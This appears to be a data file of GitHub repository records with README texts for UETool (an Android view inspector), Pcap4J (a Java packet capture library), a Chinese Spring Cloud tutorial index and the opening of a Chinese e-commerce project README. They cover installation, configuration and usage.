- Show view's current Fragment
- Show activity's Fragment tree
- Show view's view holder name if it exist
- Easily customize any view's attributes you want simply, such as business parameters
- If you are using Fresco's DraweeView, UETool shows more properties like ImageURI, PlaceHolderImage, CornerRadius etc.
- If the view selected by UETool isn’t what you want, you can check ValidViews to choose which target view you want
## UETool's Effects:
<div>
<img width="270" height="480" src="https://github.com/eleme/UETool/blob/master/art/move_view.gif"/>
<img width="270" height="480" src="https://github.com/eleme/UETool/blob/master/art/show_image_uri.gif"/>
<br/>
<img width="270" height="480" src="https://github.com/eleme/UETool/blob/master/art/relative_position.gif"/>
<img width="270" height="480" src="https://github.com/eleme/UETool/blob/master/art/show_gridding.png"/>
</div>
## ATTRIBUTE LIST
| Attribute | Value Sample | Editable |
| --- | --- | --- |
| Move | if you checked it, you can move view easily | |
| ValidViews | sometimes target view which UETool offered isn’t you want, you can check it and choose which you want | |
| Class | android.widget.LinearLayout | |
| Id | 0x7f0d009c | |
| ResName | btn | |
| Clickble | TRUE | |
| Focoused | FALSE | |
| Width(dp) | 107 | YES |
| Height(dp) | 19 | YES |
| Alpha | 1.0 | |
| PaddingLeft(dp) | 10 | YES |
| PaddingRight(dp) | 10 | YES |
| PaddingTop(dp) | 10 | YES |
| PaddingBottom(dp) | 10 | YES |
| Background | #90000000 <br/> #FF8F8F8F -> #FF688FDB <br/> [PICTURE] 300px*300px | |
| **TextView** | | |
| Text | Hello World | YES |
| TextSize(sp) | 14 | YES |
| TextColor | #DE000000 | YES |
| IsBold | TRUE | YES |
| SpanBitmap | [PICTURE] 72px*39px | |
| DrawableLeft | [PICTURE] 51px*51px | |
| DrawableRight | [PICTURE] 36px*36px | |
| DrawableTop | [PICTURE] 36px*36px | |
| DrawableBottom | [PICTURE] 36px*36px | |
| **ImageView** | | |
| Bitmap | [PICTURE] 144px*144px | |
| ScaleType | CENTER_CROP | |
| **DraweeView** | | |
| CornerRadius | 2dp | |
| ImageURI | https://avatars2.githubusercontent.com/u/1201438?s=200&v=4 | |
| ActualScaleType | CENTER_CROP | |
| IsSupportAnimation | TRUE | |
| PlaceHolderImage | [PICTURE] 300px*300px | |
| | | |
## HOW TO USE
### Installation
```gradle
allprojects {
repositories {
...
maven { url 'https://jitpack.io' }
}
}
dependencies {
debugImplementation 'com.github.eleme.UETool:uetool:1.3.4'
debugImplementation 'com.github.eleme.UETool:uetool-base:1.3.4'
releaseImplementation 'com.github.eleme.UETool:uetool-no-op:1.3.4'
// if you want to show more attrs about Fresco's DraweeView
debugImplementation 'com.github.eleme.UETool:uetool-fresco:1.3.4'
}
```
### Usage
#### Show floating window
```java
UETool.showUETMenu();
UETool.showUETMenu(int y);
```
#### Dismiss floating window
```java
UETool.dismissUETMenu();
```
#### Filter out unwanted views from selection
```java
UETool.putFilterClass(Class viewClazz);
UETool.putFilterClass(String viewClassName);
```
#### Customize your view
```java
// step 1, implement IAttrs
public class UETFresco implements IAttrs {
@Override public List<Item> getAttrs(Element element) {
}
}
// step 2, put in UETool
UETool.putAttrsProviderClass(Class customizeClazz);
UETool.putAttrsProviderClass(String customizeClassName);
```
## License
[MIT](http://opensource.org/licenses/MIT)
| 0 |
kaitoy/pcap4j | A Java library for capturing, crafting, and sending packets. | 2011-12-18T07:47:00Z | null | [Japanese](/README_ja.md)
<img alt="Pcap4J" title="Pcap4J" src="https://github.com/kaitoy/pcap4j/raw/v1/www/images/logos/pcap4j-logo-color.png" width="70%" style="margin: 0px auto; display: block;" />
[Logos](https://github.com/kaitoy/pcap4j/blob/v1/www/logos.md)
[![Slack](http://pcap4j-slackin.herokuapp.com/badge.svg)](https://pcap4j-slackin.herokuapp.com/)
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/org.pcap4j/pcap4j-distribution/badge.svg)](https://maven-badges.herokuapp.com/maven-central/org.pcap4j/pcap4j-distribution)
[![Build Status](https://travis-ci.org/kaitoy/pcap4j.svg?branch=v1)](https://travis-ci.org/kaitoy/pcap4j)
[![CircleCI](https://circleci.com/gh/kaitoy/pcap4j/tree/v1.svg?style=svg)](https://circleci.com/gh/kaitoy/pcap4j/tree/v1)
[![Build status](https://ci.appveyor.com/api/projects/status/github/kaitoy/pcap4j?branch=v1&svg=true)](https://ci.appveyor.com/project/kaitoy/pcap4j/branch/v1)
[![Coverage Status](https://coveralls.io/repos/kaitoy/pcap4j/badge.svg)](https://coveralls.io/r/kaitoy/pcap4j)
[![Code Quality: Java](https://img.shields.io/lgtm/grade/java/g/kaitoy/pcap4j.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/kaitoy/pcap4j/context:java)
[![Total Alerts](https://img.shields.io/lgtm/alerts/g/kaitoy/pcap4j.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/kaitoy/pcap4j/alerts)
Pcap4J
======
Pcap4J is a Java library for capturing, crafting and sending packets.
Pcap4J wraps a native packet capture library ([libpcap](http://www.tcpdump.org/),
[WinPcap](http://www.winpcap.org/), or [Npcap](https://github.com/nmap/npcap)) via [JNA](https://github.com/twall/jna)
and provides you Java-Oriented APIs.
Contents
--------
* [Download](#download)
* [Why Pcap4J was born](#why-pcap4j-was-born)
* [Features](#features)
* [How to use](#how-to-use)
* [System requirements](#system-requirements)
* [Dependencies](#dependencies)
* [Platforms](#platforms)
* [Others](#others)
* [Documents](#documents)
* [How to run samples](#how-to-run-samples)
* [How to use in Maven project](#how-to-use-in-maven-project)
* [About native library loading](#about-native-library-loading)
* [WinPcap or Npcap](#winpcap-or-npcap)
* [Docker](#docker)
* [How to build](#how-to-build)
* [Contributing Code](#contributing-code)
* [License](#license)
* [Contacts](#contacts)
Download
--------
Pcap4J is available on the Maven Central Repository.
* Pcap4J 1.8.2
* without source: [pcap4j-distribution-1.8.2-bin.zip](http://search.maven.org/remotecontent?filepath=org/pcap4j/pcap4j-distribution/1.8.2/pcap4j-distribution-1.8.2-bin.zip)
* with source: [pcap4j-distribution-1.8.2-src.zip](http://search.maven.org/remotecontent?filepath=org/pcap4j/pcap4j-distribution/1.8.2/pcap4j-distribution-1.8.2-src.zip)
* Snapshot builds
* https://oss.sonatype.org/content/repositories/snapshots/org/pcap4j/pcap4j-distribution/
Why Pcap4J was born
-------------------
I have been developing an SNMP network simulator (SNeO, available at the link below) by Java,
which needed to capture packets and I found the [pcap](http://en.wikipedia.org/wiki/Pcap) was useful for it.
Although there are some implementations of the pcap such as libpcap (for UNIX) and WinPcap (for Windows),
because they are both native libraries, a Java wrapper library was necessary in order to use them for SNeO.
I researched it and found three Java wrapper libraries for pcap: [jpcap](http://jpcap.sourceforge.net/),
[jNetPcap](http://jnetpcap.com/), and [Jpcap](http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/).
But both jpcap and jNetPcap were unsuitable for SNeO because they seemed to be designed for mainly capturing packets
and not to be useful for making and sending packets so much. On the other hand, Jpcap looked useful for
making and sending packets. But it had a defect in capturing ICMP packets and
its development seemed to be stopped long ago.
That's why I started developing Pcap4j.
Features
--------
* Capturing packets via a network interface and converting them into Java objects.
You can get/set each field of a packet header via the Java object converted from the packet.
You can also craft a packet object from scratch.
* Sending packet objects to a real network.
* Supported protocols:
* Ethernet, Linux SLL, raw IP, PPP (RFC1661, RFC1662), BSD (Mac OS X) loopback encapsulation, and Radiotap
* IEEE 802.11
* Probe Request
* LLC and SNAP
* IEEE802.1Q
* ARP
* IPv4 (RFC791 and RFC1349) and IPv6 (RFC2460)
* ICMPv4 (RFC792) and ICMPv6 (RFC4443, RFC4861, and RFC6275)
* TCP (RFC793, RFC2018, and draft-ietf-tcpm-1323bis-21), UDP, and SCTP (only common header)
* GTPv1 (only GTP-U and GTP-C header)
* DNS (RFC1035, RFC3596, and RFC6844)
* All built-in packet classes are serializable and thread-safe (practically immutable).
* You can add a protocol support without modifying Pcap4J library itself.
* Dumping and reading pcap-formatted files (e.g. a capture file of Wireshark).
How to use
----------
#### System requirements ####
##### Dependencies #####
Pcap4j 1.1.0 or older needs Java 5.0+. Pcap4j 1.2.0 or newer needs Java 6.0+.
And also a pcap native library (libpcap 1.0.0+, WinPcap 3.0+, or Npcap), jna, slf4j-api, and an implementation of logger for slf4j are required.
I'm using the following libraries for the test.
* libpcap 1.1.1
* WinPcap 4.1.2
* jna 5.1.0
* slf4j-api 1.7.25
* logback-core 1.0.0
* logback-classic 1.0.0
##### Platforms #####
I tested Pcap4j on the following OSes with x86 or x64 processors.
* Windows: XP, Vista, 7, [10](http://tbd.kaitoy.xyz/2016/01/12/pcap4j-with-four-native-libraries-on-windows10/), 2003 R2, 2008, 2008 R2, and 2012
* Linux
* RHEL: 5, 6, and 7
* CentOS: 5, 6, and 7
* Ubuntu: 13
* UNIX
* Solaris: 10
* FreeBSD: 10
And tomute tested Pcap4j on Mac OS X. The report is [here](http://tomute.hateblo.jp/entry/2013/01/27/003209). Thank you, tomute!
I hope Pcap4j can run on the other OSes supported by both JNA and libpcap.
##### Others #####
Pcap4J needs administrator/root privileges.
Or, if on Linux, you can run Pcap4J with a non-root user by granting capabilities `CAP_NET_RAW` and `CAP_NET_ADMIN`
to your java command by the following command: `setcap cap_net_raw,cap_net_admin=eip /path/to/java`
#### Documents ####
The latest JavaDoc is [here](https://www.javadoc.io/doc/org.pcap4j/pcap4j-distribution/1.8.2).
Each version's JavaDoc is on the [Maven Central Repository](http://search.maven.org/#search|ga|1|g%3A%22org.pcap4j%22).
Refer to [here](https://github.com/kaitoy/pcap4j/blob/v1/www/pcap4j_modules.md) for information about Pcap4J modules.
Because Pcap4J is a wrapper of a pcap native library, the following documents help you to understand how to use Pcap4J.
* [Programming with pcap](http://www.tcpdump.org/pcap.html)
* [WinPcap Manuals](http://www.winpcap.org/docs/default.htm)
* [Mapping between pcap API and Pcap4J API](https://github.com/kaitoy/pcap4j/blob/v1/www/api_mappings.md)
You can learn how to write Pcap4J programs from [samples](https://github.com/kaitoy/pcap4j/tree/v1/pcap4j-sample/src/main/java/org/pcap4j/sample).
Learn more about Pcap4j from the following documents:
* [Learn about packet class](https://github.com/kaitoy/pcap4j/blob/v1/www/Packet.md)
* [Learn about Packet Factory](https://github.com/kaitoy/pcap4j/blob/v1/www/PacketFactory.md)
* [How to add protocol support](https://github.com/kaitoy/pcap4j/blob/v1/www/HowToAddProtocolSupport.md)
* [kaitoy's blog](http://tbd.kaitoy.xyz/tags/pcap4j/)
#### How to run samples ####
See the following examples:
* [org.pcap4j.sample.Loop](https://github.com/kaitoy/pcap4j/blob/v1/www/sample_Loop.md)
* [org.pcap4j.sample.SendArpRequest](https://github.com/kaitoy/pcap4j/blob/v1/www/sample_SendArpRequest.md)
If you want to run a sample in pcap4j-sample on Eclipse,
add pcap4j-packetfactory-static or pcap4j-packetfactory-propertiesbased project
to the top of User Entries in Classpath tab of the Run Configuration for the sample.
#### How to use in Maven project ####
Add a dependency to the pom.xml as like below:
```xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
...
<dependencies>
<dependency>
<groupId>org.pcap4j</groupId>
<artifactId>pcap4j-core</artifactId>
<version>1.8.2</version>
</dependency>
<dependency>
<groupId>org.pcap4j</groupId>
<artifactId>pcap4j-packetfactory-static</artifactId>
<version>1.8.2</version>
</dependency>
...
</dependencies>
...
</project>
```
#### About native library loading ####
By default, Pcap4j loads the native libraries on the following conditions:
* Windows
* search path: The paths in the `PATH` environment variable, etc. (See [MSDN](https://msdn.microsoft.com/en-us/library/7d83bc18.aspx) for the details.)
* file name: wpcap.dll and Packet.dll
* Linux/UNIX
* search path: The search paths of shared libraries configured on the OS.
(e.g. The paths in the `LD_LIBRARY_PATH` environment variable)
* file name: libpcap.so
* Mac OS X
* search path: The search paths of shared libraries configured on the OS.
(e.g. The paths in the `DYLD_LIBRARY_PATH` environment variable)
* file name: libpcap.dylib
You can use the following Java system properties to change the default behavior.
* jna.library.path: The search path
* org.pcap4j.core.pcapLibName: The full path of the pcap library (wpcap.dll, libpcap.so, or libpcap.dylib)
* (Windows only) org.pcap4j.core.packetLibName: The full path of the packet library (Packet.dll)
##### WinPcap or Npcap #####
There are two native pcap libraries for Windows; WinPcap and Npcap.
The development of WinPcap has stopped since version 4.1.3 (libpcap 1.0.0 base) was released on 3/8/2013,
while Npcap is still being developed.
So, you should pick Npcap if you want to use new features or so.
Pcap4J can load WinPcap without tricks because it's installed in `%SystemRoot%\System32\`.
On the other hand, because Npcap is installed in `%SystemRoot%\System32\Npcap\` by default,
you need to do either of the following so that Pcap4J can load it:
* Add `%SystemRoot%\System32\Npcap\` to `PATH`.
* Set `jna.library.path` to `%SystemRoot%\System32\Npcap\`.
* Set `org.pcap4j.core.pcapLibName` to `%SystemRoot%\System32\Npcap\wpcap.dll` and
`org.pcap4j.core.packetLibName` to `%SystemRoot%\System32\Npcap\Packet.dll`.
* Install Npcap with `WinPcap Compatible Mode` on.
### Docker ###
[![](https://images.microbadger.com/badges/image/kaitoy/pcap4j.svg)](https://microbadger.com/images/kaitoy/pcap4j)
A Docker image for Pcap4J on CentOS is available at [Docker Hub](https://registry.hub.docker.com/u/kaitoy/pcap4j/).
Download it by `docker pull kaitoy/pcap4j` and execute `docker run kaitoy/pcap4j:latest` to start capturing packets from eth0 on the container.
This image is built everytime a commit is made on the Git repositry.
How to build
------------
1. Install libpcap, WinPcap, or Npcap:
Install WinPcap (if Windows) or libpcap (if Linux/UNIX).
It's needed for the unit tests which are run during a build.
2. Install JDK:
Download and install JDK 9, 10, or 11, and set the environment variable ***JAVA_HOME*** properly.
3. Add the JDK to [Maven toolchains](https://maven.apache.org/guides/mini/guide-using-toolchains.html):
Create [toolchains.xml](https://maven.apache.org/ref/3.6.1/maven-core/toolchains.html) describing the JDK installed at the previous step and put it into `~/.m2/`.
`toolchains.xml` is like below:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>11</version>
</provides>
<configuration>
<jdkHome>/path/to/jdk-11</jdkHome>
</configuration>
</toolchain>
</toolchains>
```
4. Install Git:
Download [Git](http://git-scm.com/downloads) and install it.
This step is optional.
5. Clone the Pcap4J repository:
If you installed Git, execute the following command: `git clone git@github.com:kaitoy/pcap4j.git`<br>
Otherwise, download the repository as a [zip ball](https://github.com/kaitoy/pcap4j/zipball/v1) and extract it.
6. Build:
Open a command prompt/a terminal, `cd` to the project root directory, and execute `./mvnw install`.
Note Administrator/root privileges are needed for the unit tests.
Contributing Code
-----------------
1. Fork this repository.
2. Create a branch from v1 branch.
3. Write code.
* Please refer to [This PR](https://github.com/kaitoy/pcap4j/pull/70) as an example when adding protocol support.
* This project follows [Google Java Style Guide](https://google.github.io/styleguide/javaguide.html). Execute the following command to format your code: `mvnw com.coveo:fmt-maven-plugin:format`
4. Send a PR from the branch.
License
-------
[LICENSE](/LICENSE)
Contacts
--------
Kaito Yamada (kaitoy@pcap4j.org)
| 0 |
dyc87112/SpringCloud-Learning | Spring Cloud基础教程,持续连载更新中 | 2016-08-21T03:39:52Z | null | # Spring Cloud教程
本项目内容为Spring Cloud教程的程序样例。如您觉得该项目对您有用,欢迎点击右上方的**Star**按钮,给予支持!!
- 公益调试 Eureka:http://eureka.didispace.com
- 公益调试 Nacos:http://blog.didispace.com/open-nacos-server-1-0-0/
## 特别赞助商
<table>
<tbody>
<tr>
<td align="center" valign="middle">
<a href="https://start.aliyun.com/" target="_blank">
<img width="300" src="http://img.didispace.com/FlCL2IV4kAY92Ko9-MCUM_hVaiDf">
</a>
</td>
<td align="center" valign="middle">
<a href="http://gk.link/a/103EK" target="_blank">
<img width="300" src="http://img.didispace.com/FraIu771RXtYnQ3o5croL31PVzUB">
</a>
</td>
<td align="center" valign="middle">
<a href="https://openwrite.cn/?from=didi-springcloud" target="_blank">
<img width="300" src="http://img.didispace.com/Fq6H6vSRJugF3cLxFNc29D9WVwFA">
</a>
</td>
</tr>
<tr>
<td align="center" valign="middle">
<a href="https://www.aliyun.com/minisite/goods?userCode=wxfqkr0o&share_source=copy_link" target="_blank">
<img width="300" src="https://tva1.sinaimg.cn/large/006tNbRwgy1g9utcfi2hxj308c02i755.jpg">
</a>
</td>
<td align="center" valign="middle">
<a href="https://cloud.tencent.com/redirect.php?redirect=1027&cps_key=f6a8af1297bfac40b9d10ffa1270029a&from=console" target="_blank">
<img width="300" src="http://img.didispace.com/FlcCuj0c-JhViRzr1wrynE941T9b">
</a>
</td>
<td align="center" valign="middle">
</td>
</tr>
</tbody>
</table>
> 如果您也想赞助支持并出现在上表中的话,可以通过邮件联系我:`didi@didispace.com`
## 教程列表
### 《Spring Cloud构建微服务架构》系列博文
#### Finchley版
**本系列主要补充之前版本新增或是变动的主要内容,基础使用依然可以参考Dalston版教程**
- [Spring Cloud Finchley版中Consul多实例注册的问题处理](http://blog.didispace.com/Spring-Cloud-Finchley-Consul-InstanceId/)
##### Spring Cloud Aliabab专题
- [Spring Cloud Alibaba与Spring Boot、Spring Cloud之间不得不说的版本关系](http://blog.didispace.com/spring-cloud-alibaba-version/)
- [说说我为什么看好Spring Cloud Alibaba](http://blog.didispace.com/spring-cloud-alibaba-significance/)
- [Spring Cloud Alibaba到底坑不坑?](http://blog.didispace.com/bo-kengdie-spring-cloud-alibaba/)
*注册中心与配置中心:Nacos*
- [Spring Cloud Alibaba基础教程:使用Nacos实现服务注册与发现](http://blog.didispace.com/spring-cloud-alibaba-1/)
- [Spring Cloud Alibaba基础教程:Nacos 生产级版本 0.8.0](http://blog.didispace.com/spring-cloud-alibaba-nacos-1/)
- [Spring Cloud Alibaba基础教程:支持的几种服务消费方式(RestTemplate、WebClient、Feign)](http://blog.didispace.com/spring-cloud-alibaba-2/)
- [Spring Cloud Alibaba基础教程:使用Nacos作为配置中心](http://blog.didispace.com/spring-cloud-alibaba-3/)
- [Spring Cloud Alibaba基础教程:Nacos配置的加载规则详解](http://blog.didispace.com/spring-cloud-alibaba-nacos-config-1/)
- [Spring Cloud Alibaba基础教程:Nacos配置的多环境管理](http://blog.didispace.com/spring-cloud-alibaba-nacos-config-2/)
- [Spring Cloud Alibaba基础教程:Nacos配置的多文件加载与共享配置](http://blog.didispace.com/spring-cloud-alibaba-nacos-config-3/)
- [Spring Cloud Alibaba基础教程:Nacos的数据持久化](http://blog.didispace.com/spring-cloud-alibaba-4/)
- [Spring Cloud Alibaba基础教程:Nacos的集群部署](http://blog.didispace.com/spring-cloud-alibaba-5/)
*分布式流量防卫兵:Sentinel*
- [Spring Cloud Alibaba基础教程:使用Sentinel实现接口限流](http://blog.didispace.com/spring-cloud-alibaba-sentinel-1/)
- [Spring Cloud Alibaba基础教程:Sentinel使用Nacos存储规则](http://blog.didispace.com/spring-cloud-alibaba-sentinel-2-1/)
- [Spring Cloud Alibaba基础教程:Sentinel使用Apollo存储规则](http://blog.didispace.com/spring-cloud-alibaba-sentinel-2-2/)
- [Spring Cloud Alibaba基础教程:Sentinel Dashboard中修改规则同步到Apollo](http://blog.didispace.com/spring-cloud-alibaba-sentinel-2-3/)
- [Spring Cloud Alibaba基础教程:Sentinel Dashboard中修改规则同步到Nacos](http://blog.didispace.com/spring-cloud-alibaba-sentinel-2-4/)
- [Spring Cloud Alibaba基础教程:@SentinelResource注解使用详解](http://blog.didispace.com/spring-cloud-alibaba-sentinel-2-5/)
*国内使用最多的RPC框架整合:Dubbo*
- [Spring Cloud Alibaba基础教程:与Dubbo的完美融合](http://blog.didispace.com/spring-cloud-alibaba-dubbo-1/)
##### Spring Cloud Stream专题补充
- [Spring Cloud Stream如何消费自己生产的消息](http://blog.didispace.com/spring-cloud-starter-finchley-7-1)
- [Spring Cloud Stream同一通道根据消息内容分发不同的消费逻辑](http://blog.didispace.com/spring-cloud-starter-finchley-7-6)
- [Spring Cloud Stream使用延迟消息实现定时任务(RabbitMQ)](http://blog.didispace.com/spring-cloud-starter-finchley-7-7)
- [Spring Cloud Stream消费失败后的处理策略(一):自动重试](http://blog.didispace.com/spring-cloud-starter-finchley-7-2)
- [Spring Cloud Stream消费失败后的处理策略(二):自定义错误处理逻辑](http://blog.didispace.com/spring-cloud-starter-finchley-7-3)
- [Spring Cloud Stream消费失败后的处理策略(三):使用DLQ队列(RabbitMQ)](http://blog.didispace.com/spring-cloud-starter-finchley-7-4)
- [Spring Cloud Stream消费失败后的处理策略(四):重新入队(RabbitMQ)](http://blog.didispace.com/spring-cloud-starter-finchley-7-5)
#### Edgware版
> 本系列主要是对Dalston版的补充,包含Edgware版的主要新增或变动的内容,对于Spring Cloud的基础使用依然建议参考Dalston版教程
- [分布式配置中心(数据库存储)](http://blog.didispace.com/spring-cloud-starter-edgware-3-1)
#### Dalston版
- [服务注册与发现(Eureka、Consul)](http://blog.didispace.com/spring-cloud-starter-dalston-1/)
- [服务消费者(基础)](http://blog.didispace.com/spring-cloud-starter-dalston-2-1/)
- [服务消费者(Ribbon)](http://blog.didispace.com/spring-cloud-starter-dalston-2-2/)
- [服务消费者(Feign)](http://blog.didispace.com/spring-cloud-starter-dalston-2-3/)
- [服务消费者(Feign)传文件](http://blog.didispace.com/spring-cloud-starter-dalston-2-4/)
- [分布式配置中心](http://blog.didispace.com/spring-cloud-starter-dalston-3)
- [服务容错保护(Hystrix服务降级)](http://blog.didispace.com/spring-cloud-starter-dalston-4-1)
- [服务容错保护(Hystrix依赖隔离)](http://blog.didispace.com/spring-cloud-starter-dalston-4-2)
- [服务容错保护(Hystrix断路器)](http://blog.didispace.com/spring-cloud-starter-dalston-4-3)
- [Hystrix监控面板](http://blog.didispace.com/spring-cloud-starter-dalston-5-1/)
- [Hystrix监控数据聚合](http://blog.didispace.com/spring-cloud-starter-dalston-5-2/)
- [服务网关(基础)](http://blog.didispace.com/spring-cloud-starter-dalston-6-1/)
- [服务网关(路由配置)](http://blog.didispace.com/spring-cloud-starter-dalston-6-2/)
- [服务网关(过滤器)](http://blog.didispace.com/spring-cloud-starter-dalston-6-3/)
- [服务网关(API文档汇总)](http://blog.didispace.com/Spring-Cloud-Zuul-use-Swagger-API-doc/)
- [消息驱动的微服务(入门)](http://blog.didispace.com/spring-cloud-starter-dalston-7-1/)
- [消息驱动的微服务(核心概念)](http://blog.didispace.com/spring-cloud-starter-dalston-7-2/)
- [消息驱动的微服务(消费组)](http://blog.didispace.com/spring-cloud-starter-dalston-7-3/)
- [消息驱动的微服务(消费组案例:解决消息重复消费)](http://blog.didispace.com/spring-cloud-starter-dalston-7-5/)
- [消息驱动的微服务(消息分区)](http://blog.didispace.com/spring-cloud-starter-dalston-7-4/)
- [分布式服务跟踪(入门)](http://blog.didispace.com/spring-cloud-starter-dalston-8-1/)
- [分布式服务跟踪(跟踪原理)](http://blog.didispace.com/spring-cloud-starter-dalston-8-2/)
- [分布式服务跟踪(整合logstash)](http://blog.didispace.com/spring-cloud-starter-dalston-8-3/)
- [分布式服务跟踪(整合zipkin)](http://blog.didispace.com/spring-cloud-starter-dalston-8-4/)
- [分布式服务跟踪(收集原理)](http://blog.didispace.com/spring-cloud-starter-dalston-8-5/)
- [分布式服务跟踪(抽样收集)](http://blog.didispace.com/spring-cloud-starter-dalston-8-6/)
#### Brixton版
- 1-Brixton版教程示例/chapter1-1-1:[Spring Cloud构建微服务架构(一)服务注册与发现](http://blog.didispace.com/springcloud1/)
- 1-Brixton版教程示例/chapter1-1-2:[Spring Cloud构建微服务架构(二)服务消费者](http://blog.didispace.com/springcloud2/)
- 1-Brixton版教程示例/chapter1-1-3:[Spring Cloud构建微服务架构(三)断路器](http://blog.didispace.com/springcloud3/)
- 1-Brixton版教程示例/chapter1-1-4:[Spring Cloud构建微服务架构(四)分布式配置中心](http://blog.didispace.com/springcloud4/)
- 1-Brixton版教程示例/chapter1-1-8:[Spring Cloud构建微服务架构(四)分布式配置中心(续)](http://blog.didispace.com/springcloud4-2/)
- 1-Brixton版教程示例/chapter1-1-5:[Spring Cloud构建微服务架构(五)服务网关](http://blog.didispace.com/springcloud5/)
- 1-Brixton版教程示例/chapter1-1-6:[Spring Cloud构建微服务架构(六)高可用服务注册中心](http://blog.didispace.com/springcloud6/)
- 1-Brixton版教程示例/chapter1-1-7:[Spring Cloud构建微服务架构(七)消息总线(Rabbit)](http://blog.didispace.com/springcloud7/)
- 1-Brixton版教程示例/chapter1-1-7:[Spring Cloud构建微服务架构(七)消息总线(Kafka)](http://blog.didispace.com/springcloud7-2/)
### 《Spring Cloud源码分析》系列博文
- [Spring Cloud源码分析(一)Eureka](http://blog.didispace.com/springcloud-sourcecode-eureka/)
- [Spring Cloud源码分析(二)Ribbon](http://blog.didispace.com/springcloud-sourcecode-ribbon/)
- [Spring Cloud源码分析(二)Ribbon](http://blog.didispace.com/springcloud-sourcecode-ribbon/)
- [Spring Cloud源码分析(四)Zuul:核心过滤器](http://blog.didispace.com/spring-cloud-source-zuul/)
- 未完待续
### 《Spring Cloud实战小贴士》系列博文
- [Spring Cloud实战小贴士:版本依赖关系](http://blog.didispace.com/spring-cloud-tips-1/)
- [Spring Cloud实战小贴士:随机端口](http://blog.didispace.com/spring-cloud-tips-2/)
- [Spring Cloud实战小贴士:健康检查](http://blog.didispace.com/spring-cloud-tips-3/)
- [Spring Cloud实战小贴士:Zuul处理Cookie和重定向](http://blog.didispace.com/spring-cloud-zuul-cookie-redirect/)
- [Spring Cloud实战小贴士:Zuul统一异常处理(一)](http://blog.didispace.com/spring-cloud-zuul-exception/)
- [Spring Cloud实战小贴士:Zuul统一异常处理(二)](http://blog.didispace.com/spring-cloud-zuul-exception-2/)
- [Spring Cloud实战小贴士:Zuul统一异常处理(三)【Dalston版】](http://blog.didispace.com/spring-cloud-zuul-exception-3/)
- [Spring Cloud实战小贴士:Turbine如何聚合设置了context-path的Hystrix数据](http://blog.didispace.com/spring-cloud-tips-4/)
- [Spring Cloud实战小贴士:Feign的继承特性(伪RPC模式)](http://blog.didispace.com/spring-cloud-tips-feign-rpc/)
- [Spring Cloud实战小贴士:Ribbon的饥饿加载(eager-load)模式](http://blog.didispace.com/spring-cloud-tips-ribbon-eager/)
- [Spring Cloud实战小贴士:Zuul的饥饿加载(eager-load)使用](http://blog.didispace.com/spring-cloud-tips-zuul-eager/)
#### 其他文章
- [使用Intellij中的Spring Initializr来快速构建Spring Boot/Cloud工程](http://blog.didispace.com/spring-initializr-in-intellij/)
- [为Spring Cloud Ribbon配置请求重试(Camden.SR2+)](http://blog.didispace.com/spring-cloud-ribbon-failed-retry/)
- [Consul注销实例时候的问题](http://blog.didispace.com/consul-deregister/)
- [使用Spring Boot Actuator、Jolokia和Grafana实现准实时监控](http://blog.didispace.com/spring-boot-jolokia-grafana-monitor/)
- [Netflix Zuul与Nginx的性能对比](http://blog.didispace.com/zuul-vs-nginx-performance/)
- [基于Consul的分布式锁实现](http://blog.didispace.com/spring-cloud-consul-lock-and-semphore/)
- [基于Consul的分布式信号量实现](http://blog.didispace.com/spring-cloud-consul-lock-and-semphore-2/)
## 我的公众号
![](http://git.oschina.net/uploads/images/2017/0105/082137_85109d07_437188.jpeg "在这里输入图片标题")
## 推荐我的书
![](https://git.oschina.net/uploads/images/2017/0416/233656_dd3bce94_437188.png "在这里输入图片标题")
## 其他推荐
- [我的博客](http://blog.didispace.com):分享平时学习和实践过的技术内容
- [知识星球](https://t.xiaomiquan.com/zfEiY3v):聊聊技术人的斜杠生活
- [GitHub](https://github.com/dyc87112/SpringCloud-Learning):Star支持一下呗
- [Gitee](https://gitee.com/didispace/SpringCloud-Learning):Star支持一下呗
- [Spring问答社区](http://www.spring4all.com/):如果您有什么问题,可以去这里发帖
- [Spring Boot基础教程](http://blog.didispace.com/Spring-Boot%E5%9F%BA%E7%A1%80%E6%95%99%E7%A8%8B/):全网Star最多的免费Spring Boot基础教程
- [Spring Cloud基础教程](http://blog.didispace.com/Spring-Cloud%E5%9F%BA%E7%A1%80%E6%95%99%E7%A8%8B/):全网最早最全的免费Spring Cloud基础教程
- [微服务架构专题](http://blog.didispace.com/micro-serivces-arch/)
| 0 |
laodaobazi/ldbz-shop | 分布式商城 | 2018-09-10T09:11:05Z | null | ## LDBZ-SHOP
[![License](https://img.shields.io/badge/license-GPL-blue.svg)](LICENSE)
[![GitHub stars](https://img.shields.io/github/stars/laodaobazi/ldbz-shop.svg?style=social&label=Stars)](https://github.com/laodaobazi/ldbz-shop)[![GitHub forks](https://img.shields.io/github/forks/laodaobazi/ldbz-shop.svg?style=social&label=Fork)](https://github.com/laodaobazi/ldbz-shop)
使用技术(个人时间和精力有限,项目不定期更新中....):
* 后台
* ![使用`Spring Boot` 构建整个项目 去除 XML 配置](https://github.com/spring-projects/spring-boot)
* ![`Maven`构建项目](http://maven.apache.org/)
* `Jenkins`作为持续集成
* ![采用`Dubbo`作为RPC框架](http://dubbo.apache.org/zh-cn/)
* ![使用 `Apollo` 分布式配置中心](https://github.com/ApolloAuto/apollo/blob/master/README_cn.md)
* 使用`Spring`+`Spring MVC`+`MyBatis`SSM框架
* ![数据库连接池使用`druid`](https://github.com/alibaba/druid/)
* 数据存储使用`MySQL`和`Redis`
* ![页面引擎采用 `Beetl`](http://ibeetl.com/guide/)
* 网页采用`freemarker`生成静态化页面
* ![采用`SolrCloud`实现搜索服务](https://lucene.apache.org/solr/)
* ![`Swagger2` 生成 RESTful Apis文档](https://swagger.io/)
* 负载均衡使用`Nginx`、`keepalived`实现高可用
